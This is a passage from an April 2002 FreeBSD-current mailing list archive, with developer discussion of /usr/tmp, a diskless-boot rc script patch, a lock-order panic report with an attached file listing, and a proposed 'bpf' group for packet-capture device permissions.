nothing special about the character `X', other than it not being a hyphen.) I have just committed code to expr which will cause it to behave more like the old expr did in the presence of an EXPR_COMPAT environment variable. Ports can then be set up to build with this variable defined until the libtool maintainers fix up their act. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 14:47:53 2002 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id 1F61837BD49 for ; Mon, 22 Apr 2002 14:45:52 -0700 (PDT) Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1]) by dragon.nuxi.com (8.12.2/8.12.2) with ESMTP id g3MLTMYm068630; Mon, 22 Apr 2002 14:29:22 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.12.2/8.12.2/Submit) id g3MLS70r066890; Mon, 22 Apr 2002 14:28:07 -0700 (PDT) Date: Mon, 22 Apr 2002 14:28:07 -0700 From: "David O'Brien" To: Danny Braniss Cc: freebsd-current@FreeBSD.ORG Subject: Re: /usr/tmp Message-ID: <20020422142806.A66240@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from danny@cs.huji.ac.il on Mon, Apr 22, 2002 at 06:03:01PM +0300 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Apr 22, 2002 at 06:03:01PM +0300, Danny Braniss wrote: > in FreeBSD 5.0 DP1 there is /usr/tmp > 2 drwxrwxrwt 2 root wheel 512 Apr 11 12:37 /usr/tmp/ > > any particular reason for this directory? I'm asking because i like to > keep / and /usr read only, and /tmp is linked to /usr/var/tmp which is > writable. It was created by sysinstall. One is able to rm it w/o problems. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 14:48:36 2002 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id 53E6437BE0B for ; Mon, 22 Apr 2002 14:45:55 -0700 (PDT) Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1]) by dragon.nuxi.com (8.12.2/8.12.2) with ESMTP id g3MLhWYm074971; Mon, 22 Apr 2002 14:43:32 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.12.2/8.12.2/Submit) id g3MLgHKl074625; Mon, 22 Apr 2002 14:42:17 -0700 (PDT) Date: Mon, 22 Apr 2002 14:42:17 -0700 From: "David O'Brien" To: Danny Braniss Cc: Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting Message-ID: <20020422144217.A73087@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from danny@cs.huji.ac.il on Mon, Apr 22, 2002 at 10:40:44AM +0300 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Apr 22, 2002 at 10:40:44AM +0300, Danny Braniss wrote: > Since im very interested in diskless/dataless, and i've been at it for some > time now, i made some changes to libstand/bootp.c and /etc/rc.diskless1 > which i wouldn't mind receiving commnets/suggestions, and if possible > incorporated. > > the stuff is in: > ftp://ftp.cs.huji.ac.il/users/danny/freebsd/diskless-boot/ I'll commit this to rc.diskless1 +if [ -z "`hostname -s`" ]; then + hostname=`kenv dhcp.host-name` + hostname $hostname + echo "Hostname is $hostname" +fi BUT you've missed the point with this point: +else + mount_md 4096 /conf/etc 0 + chkerr $? "MFS mount on /conf/etc" + mount -t unionfs /conf/etc /etc + /bin/chmod 755 /etc + find /etc > /dev/null + touch /etc/.sentinel That being that some of us actually WANT /etc to be left the fsck alone. We NFS mount / and that / has /etc as it should be. I also cannot follow what you are trying to do with /etc/conf. Perhaps you could comment that part? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 15:13: 3 2002 Delivered-To: freebsd-current@freebsd.org Received: from white.imgsrc.co.jp (ns.imgsrc.co.jp [210.226.20.2]) by hub.freebsd.org (Postfix) with ESMTP id BEC1637C596; Mon, 22 Apr 2002 15:05:51 -0700 (PDT) Received: from black.imgsrc.co.jp (black.imgsrc.co.jp [2001:218:422:2::130]) by white.imgsrc.co.jp (Postfix) with ESMTP id B058224D2A; Tue, 23 Apr 2002 01:21:06 +0900 (JST) Received: from waterblue.imgsrc.co.jp (waterblue.imgsrc.co.jp [2001:218:422:2::160]) by black.imgsrc.co.jp (Postfix) with ESMTP id 6EC461E46F0; Tue, 23 Apr 2002 01:21:03 +0900 (JST) Date: Tue, 23 Apr 2002 01:20:07 +0900 Message-ID: <7m1yd7zow8.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: "Jacques A. Vidrine" , Current Subject: Re: lock order reversal and panic in kern_descrip.c In-Reply-To: <20020422160926.GA70820@madman.nectar.cc> References: <7mpu0szcti.wl@waterblue.imgsrc.co.jp> <20020422123239.GL68403@madman.nectar.cc> <7m8z7fzwi2.wl@waterblue.imgsrc.co.jp> <20020422160926.GA70820@madman.nectar.cc> User-Agent: Wanderlust/2.9.7 (Unchained Melody) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3 Emacs/21.1 (i386--freebsd) MULE/5.0 (=?ISO-2022-JP?B?GyRCOC1MWhsoQg==?=) MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: multipart/mixed; boundary="Multipart_Tue_Apr_23_01:20:07_2002-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --Multipart_Tue_Apr_23_01:20:07_2002-1 Content-Type: text/plain; charset=US-ASCII At Mon, 22 Apr 2002 11:09:26 -0500, Jacques A. Vidrine wrote: > I'm curious ... could you send the output of > > pkg_info -L linux-netscape-navigator-4.79 | xargs ls -l Attached. > Also, does `/compat/linux/bin/sh' blow up for you? No, I can invoke this without problem... -- Jun Kuriyama // IMG SRC, Inc. // FreeBSD Project --Multipart_Tue_Apr_23_01:20:07_2002-1 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline; filename="linux.txt" Content-Transfer-Encoding: 7bit -r-xr-xr-x 1 root wheel 293 Apr 22 22:37 /usr/local/bin/navigator-linux-4.79 -r--r--r-- 1 root wheel 16934 Oct 17 2001 /usr/local/lib/netscape-linux/LICENSE -r--r--r-- 1 root wheel 323710 Oct 17 2001 /usr/local/lib/netscape-linux/Netscape.ad -r--r--r-- 1 root wheel 16731 Oct 17 2001 /usr/local/lib/netscape-linux/README -r--r--r-- 1 root wheel 4674 Oct 18 1994 /usr/local/lib/netscape-linux/XKeysymDB -r--r--r-- 1 root wheel 4568 Oct 17 2001 /usr/local/lib/netscape-linux/bookmark.htm -r--r--r-- 1 root wheel 5861 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/aix/font.properties -r--r--r-- 1 root wheel 6069 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/aix/font.properties.cs -r--r--r-- 1 root wheel 6073 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/aix/font.properties.hu -r--r--r-- 1 root wheel 9941 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/aix/font.properties.ja -r--r--r-- 1 root wheel 7744 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/aix/font.properties.ko -r--r--r-- 1 root wheel 6070 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/aix/font.properties.pl -r--r--r-- 1 root wheel 6071 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/aix/font.properties.ru -r--r--r-- 1 root wheel 7708 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/aix/font.properties.zh -r--r--r-- 1 root wheel 8893 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/aix/font.properties.zh_TW -r--r--r-- 1 root wheel 981 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/awt.properties -r--r--r-- 1 root wheel 7304 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties -r--r--r-- 1 root wheel 7757 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.cs -r--r--r-- 1 root wheel 7713 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.el -r--r--r-- 1 root wheel 7758 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.hu -r--r--r-- 1 root wheel 13029 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.ja -r--r--r-- 1 root wheel 9033 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.ko -r--r--r-- 1 root wheel 7771 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.lt -r--r--r-- 1 root wheel 7771 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.lv -r--r--r-- 1 root wheel 7758 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.pl -r--r--r-- 1 root wheel 7711 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.ru -r--r--r-- 1 root wheel 7721 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.tr -r--r--r-- 1 root wheel 8976 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.zh -r--r--r-- 1 root wheel 8984 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.zh_GB2312 -r--r--r-- 1 root wheel 23909 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.zh_TW -r--r--r-- 1 root wheel 8737 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.zh_TW_Big5 -r--r--r-- 1 root wheel 23946 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/font.properties.zh_TW_CNS11643 -r-xr-xr-x 1 root wheel 11179 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties -r-xr-xr-x 1 root wheel 8364 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.bg -r-xr-xr-x 1 root wheel 8672 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.cs -r-xr-xr-x 1 root wheel 8360 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.el -r-xr-xr-x 1 root wheel 8670 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.hr -r-xr-xr-x 1 root wheel 8676 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.hu -r-xr-xr-x 1 root wheel 17681 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.ja -r-xr-xr-x 1 root wheel 14797 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.ko -r-xr-xr-x 1 root wheel 8673 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.pl -r-xr-xr-x 1 root wheel 8665 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.ro -r-xr-xr-x 1 root wheel 8362 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.ru -r-xr-xr-x 1 root wheel 8663 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.sk -r-xr-xr-x 1 root wheel 8666 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.sl -r-xr-xr-x 1 root wheel 8362 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.tr -r-xr-xr-x 1 root wheel 14109 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.zh_GB2312 -r-xr-xr-x 1 root wheel 13853 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.zh_TW_Big5 -r-xr-xr-x 1 root wheel 22633 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/hpux/font.properties.zh_TW_CNS11643 -r--r--r-- 1 root wheel 468537 Apr 22 22:36 /usr/local/lib/netscape-linux/java/classes/ifc11.jar -r--r--r-- 1 root wheel 232087 Apr 22 22:36 /usr/local/lib/netscape-linux/java/classes/iiop10.jar -r--r--r-- 1 root wheel 7189 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/irix/font.properties -r--r--r-- 1 root wheel 7756 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/irix/font.properties.cs -r--r--r-- 1 root wheel 7752 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/irix/font.properties.el -r--r--r-- 1 root wheel 7755 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/irix/font.properties.hu -r--r--r-- 1 root wheel 12387 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/irix/font.properties.ja -r--r--r-- 1 root wheel 9059 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/irix/font.properties.ko -r--r--r-- 1 root wheel 8951 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/irix/font.properties.zh_GB2312 -r--r--r-- 1 root wheel 10180 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/irix/font.properties.zh_TW_Big5 -r--r--r-- 1 root wheel 11284 Oct 5 1998 /usr/local/lib/netscape-linux/java/classes/irix/font.properties.zh_TW_CNS11643 -r--r--r-- 1 root wheel 284049 Apr 22 22:36 /usr/local/lib/netscape-linux/java/classes/jae40.jar -r--r--r-- 1 root wheel 1891692 Apr 22 22:36 /usr/local/lib/netscape-linux/java/classes/java40.jar -r--r--r-- 1 root wheel 706098 Apr 22 22:36 /usr/local/lib/netscape-linux/java/classes/jio40.jar -r--r--r-- 1 root wheel 2249289 Apr 22 22:36 /usr/local/lib/netscape-linux/java/classes/joptio40.jar -r--r--r-- 1 root wheel 18113 Apr 22 22:36 /usr/local/lib/netscape-linux/java/classes/jsd10.jar -r--r--r-- 1 root wheel 252799 Apr 22 22:36 /usr/local/lib/netscape-linux/java/classes/ldap40.jar -r--r--r-- 1 root wheel 6746 Apr 22 22:36 /usr/local/lib/netscape-linux/java/classes/resource.jar -r--r--r-- 1 root wheel 239903 Apr 22 22:36 /usr/local/lib/netscape-linux/java/classes/scd10.jar -r-xr-xr-x 1 root wheel 14940 Oct 17 2001 /usr/local/lib/netscape-linux/libnullplugin-dynMotif.so -r--r--r-- 1 root wheel 2458 Apr 22 22:37 /usr/local/lib/netscape-linux/mailcap -r-xr-xr-x 1 root wheel 7735140 Oct 17 2001 /usr/local/lib/netscape-linux/navigator-linux-4.79.bin -rw-r--r-- 1 root wheel 1045 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Back_dep.gif -rw-r--r-- 1 root wheel 950 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Back_dis.gif -rw-r--r-- 1 root wheel 1050 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Back_sel.gif -rw-r--r-- 1 root wheel 964 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Back_up.gif -rw-r--r-- 1 root wheel 214 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Blank.htm -rw-r--r-- 1 root wheel 8208 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Button.js -rw-r--r-- 1 root wheel 4079 May 20 1998 /usr/local/lib/netscape-linux/nethelp/CntData.js -rw-r--r-- 1 root wheel 931 May 20 1998 /usr/local/lib/netscape-linux/nethelp/CntTool.htm -rw-r--r-- 1 root wheel 15046 Dec 9 1998 /usr/local/lib/netscape-linux/nethelp/CntTool.js -rw-r--r-- 1 root wheel 1072 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Exit_dep.gif -rw-r--r-- 1 root wheel 1071 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Exit_sel.gif -rw-r--r-- 1 root wheel 991 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Exit_up.gif -rw-r--r-- 1 root wheel 1054 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Forw_dep.gif -rw-r--r-- 1 root wheel 955 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Forw_dis.gif -rw-r--r-- 1 root wheel 1053 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Forw_sel.gif -rw-r--r-- 1 root wheel 975 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Forw_up.gif -rw-r--r-- 1 root wheel 376 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Header.js -rw-r--r-- 1 root wheel 13786 May 20 1998 /usr/local/lib/netscape-linux/nethelp/IdxData.js -rw-r--r-- 1 root wheel 5419 Oct 10 1998 /usr/local/lib/netscape-linux/nethelp/IdxFill.htm -rw-r--r-- 1 root wheel 3716 Oct 10 1998 /usr/local/lib/netscape-linux/nethelp/IdxKey.htm -rw-r--r-- 1 root wheel 853 May 20 1998 /usr/local/lib/netscape-linux/nethelp/IdxTool.htm -rw-r--r-- 1 root wheel 2181 Sep 22 2000 /usr/local/lib/netscape-linux/nethelp/IdxTopic.htm -rw-r--r-- 1 root wheel 1360 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Local-1.js -rw-r--r-- 1 root wheel 3676 May 20 1998 /usr/local/lib/netscape-linux/nethelp/NSHIfrm.htm -rw-r--r-- 1 root wheel 1611 May 20 1998 /usr/local/lib/netscape-linux/nethelp/NavUI.htm -rw-r--r-- 1 root wheel 547 May 20 1998 /usr/local/lib/netscape-linux/nethelp/NoJSerr.htm -rw-r--r-- 1 root wheel 1074 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Prnt_dep.gif -rw-r--r-- 1 root wheel 1072 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Prnt_sel.gif -rw-r--r-- 1 root wheel 999 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Prnt_up.gif -rw-r--r-- 1 root wheel 1308 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Stack.js -rw-r--r-- 1 root wheel 1845 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Status.htm -rw-r--r-- 1 root wheel 576 May 20 1998 /usr/local/lib/netscape-linux/nethelp/System.htm -rw-r--r-- 1 root wheel 22683 May 20 1998 /usr/local/lib/netscape-linux/nethelp/System.js -rw-r--r-- 1 root wheel 4557 Dec 9 1998 /usr/local/lib/netscape-linux/nethelp/ToolUI.htm -rw-r--r-- 1 root wheel 645 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Tool_dep.gif -rw-r--r-- 1 root wheel 646 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Tool_sel.gif -rw-r--r-- 1 root wheel 378 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Tool_up.gif -rw-r--r-- 1 root wheel 2599 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Topic.js -rw-r--r-- 1 root wheel 3075 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Utility.js -rw-r--r-- 1 root wheel 4182 May 20 1998 /usr/local/lib/netscape-linux/nethelp/Wait.gif -rw-r--r-- 1 root wheel 495 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/home/help.hpf -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/home/home.gif -rw-r--r-- 1 root wheel 4137 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/home/home.htm -rw-r--r-- 1 root wheel 1875 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/home/homeHdr.htm -rw-r--r-- 1 root wheel 1397 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/navigatr/help.hpf -rw-r--r-- 1 root wheel 55958 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/navigatr/nav.htm -rw-r--r-- 1 root wheel 1885 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/navigatr/navHdr.htm -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/navigatr/navigatr.gif -rw-r--r-- 1 root wheel 3424 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/NetHelpm.css -rw-r--r-- 1 root wheel 3401 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/NetHelpu.css -rw-r--r-- 1 root wheel 3287 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/NetHelpw.css -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/admnIcon.gif -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/calIcon.gif -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/collIcon.gif -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/commIcon.gif -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/compIcon.gif -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/confIcon.gif -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/ibmIcon.gif -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/messIcon.gif -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/navIcon.gif -rw-r--r-- 1 root wheel 799 May 20 1998 /usr/local/lib/netscape-linux/nethelp/netscape/shared/netIcon.gif -rw-r--r-- 1 root wheel 7321 Jul 3 1998 /usr/local/lib/netscape-linux/nethelp/netwatch.gif -rw-r--r-- 1 root wheel 4146 Jul 3 1998 /usr/local/lib/netscape-linux/nethelp/picsfail.htm -rw-r--r-- 1 root wheel 3415 Jul 3 1998 /usr/local/lib/netscape-linux/nethelp/picsfail.jar -r-xr-xr-x 1 root wheel 5844588 Oct 17 2001 /usr/local/lib/netscape-linux/netscape-dynMotif -r-xr-xr-x 1 root wheel 2363 Oct 17 2001 /usr/local/lib/netscape-linux/plugins/ShockwaveFlash.class -r-xr-xr-x 1 root wheel 57089 Oct 17 2001 /usr/local/lib/netscape-linux/plugins/cpPack1.jar -r-xr-xr-x 1 root wheel 765580 Oct 17 2001 /usr/local/lib/netscape-linux/plugins/libflashplayer.so -r-xr-xr-x 1 root wheel 807580 Oct 17 2001 /usr/local/lib/netscape-linux/plugins/libnullplugin.so -rw-r--r-- 1 root wheel 652 Apr 22 22:37 /usr/local/lib/netscape-linux/registry -r-xr-xr-x 1 root wheel 22008 Apr 22 22:36 /usr/local/lib/netscape-linux/vreg --Multipart_Tue_Apr_23_01:20:07_2002-1-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 15:19:25 2002 Delivered-To: freebsd-current@freebsd.org Received: from white.imgsrc.co.jp (ns.imgsrc.co.jp [210.226.20.2]) by hub.freebsd.org (Postfix) with ESMTP id 9257237C029; Mon, 22 Apr 2002 15:05:51 -0700 (PDT) Received: from black.imgsrc.co.jp (black.imgsrc.co.jp [2001:218:422:2::130]) by white.imgsrc.co.jp (Postfix) with ESMTP id 031D124D1C; Mon, 22 Apr 2002 23:08:10 +0900 (JST) Received: from waterblue.imgsrc.co.jp (waterblue.imgsrc.co.jp [2001:218:422:2::160]) by black.imgsrc.co.jp (Postfix) with ESMTP id E5A4B1E46F0; Mon, 22 Apr 2002 23:08:06 +0900 (JST) Date: Mon, 22 Apr 2002 23:07:11 +0900 Message-ID: <7m7kmzzv1s.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: "Jacques A. Vidrine" , Current Subject: Re: lock order reversal and panic in kern_descrip.c In-Reply-To: <7m8z7fzwi2.wl@waterblue.imgsrc.co.jp> References: <7mpu0szcti.wl@waterblue.imgsrc.co.jp> <20020422123239.GL68403@madman.nectar.cc> <7m8z7fzwi2.wl@waterblue.imgsrc.co.jp> User-Agent: Wanderlust/2.9.7 (Unchained Melody) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3 Emacs/21.1 (i386--freebsd) MULE/5.0 (=?ISO-2022-JP?B?GyRCOC1MWhsoQg==?=) MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I have no idea about this. I'm portupgrade'ing linux_base, > linux-netscape-* port and I'll try this again. Hmm, I can reproduce this even after upgrading related ports... -- Jun Kuriyama // IMG SRC, Inc. // FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 15:22:56 2002 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169]) by hub.freebsd.org (Postfix) with ESMTP id E851437C5DE for ; Mon, 22 Apr 2002 15:13:43 -0700 (PDT) Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1]) by dragon.nuxi.com (8.12.2/8.12.2) with ESMTP id g3MLk6Ym075793; Mon, 22 Apr 2002 14:46:06 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.12.2/8.12.2/Submit) id g3MLipue075382; Mon, 22 Apr 2002 14:44:51 -0700 (PDT) Date: Mon, 22 Apr 2002 14:44:51 -0700 From: "David O'Brien" To: Danny Braniss Cc: Freebsd Current Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting Message-ID: <20020422144450.B73087@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from danny@cs.huji.ac.il on Mon, Apr 22, 2002 at 10:40:44AM +0300 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Apr 22, 2002 at 10:40:44AM +0300, Danny Braniss wrote: > Since im very interested in diskless/dataless, and i've been at it for some > time now, i made some changes to libstand/bootp.c and /etc/rc.diskless1 > which i wouldn't mind receiving commnets/suggestions, and if possible > incorporated. > > the stuff is in: > ftp://ftp.cs.huji.ac.il/users/danny/freebsd/diskless-boot/ The bootp.c.diff looks like it could be useful; but I see you changed some stuff related to PXE booting and I cannot easily test that. Maybe someone else can. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 15:25:39 2002 Delivered-To: freebsd-current@freebsd.org Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (Postfix) with SMTP id 7E93A37B4FA for ; Mon, 22 Apr 2002 15:16:40 -0700 (PDT) Received: (qmail 47695 invoked by uid 1001); 22 Apr 2002 20:37:39 +0000 (GMT) To: dwhite@resnet.uoregon.edu Cc: lyndon@orthanc.ab.ca, freebsd-current@FreeBSD.org Subject: Re: Adding a 'bpf' group for /dev/bpf* From: sthaug@nethelp.no In-Reply-To: Your message of "Mon, 22 Apr 2002 11:16:58 -0700 (PDT)" References: <20020422111600.G5217-100000@resnet.uoregon.edu> X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Mon, 22 Apr 2002 22:37:38 +0200 Message-ID: <47693.1019507858@verdi.nethelp.no> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > For the benefit of packet sniffers and other things that only want > > read-only access to /dev/bpf*, what do people think of adding a 'bpf' > > group for those programs? This allows bpf devices to be read by > > programs running with an effective gid of 'bpf' instead of the current > > requirement for an effective user of root. I've been running this way > > on many of our servers for several months now, and things like snort, > > tcpdump, etc., are quite happy with it (under stable). > > There's the other small problem that you have to be root to set > promiscuous mode. Not on 4.x. Haven't tried -current. Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with 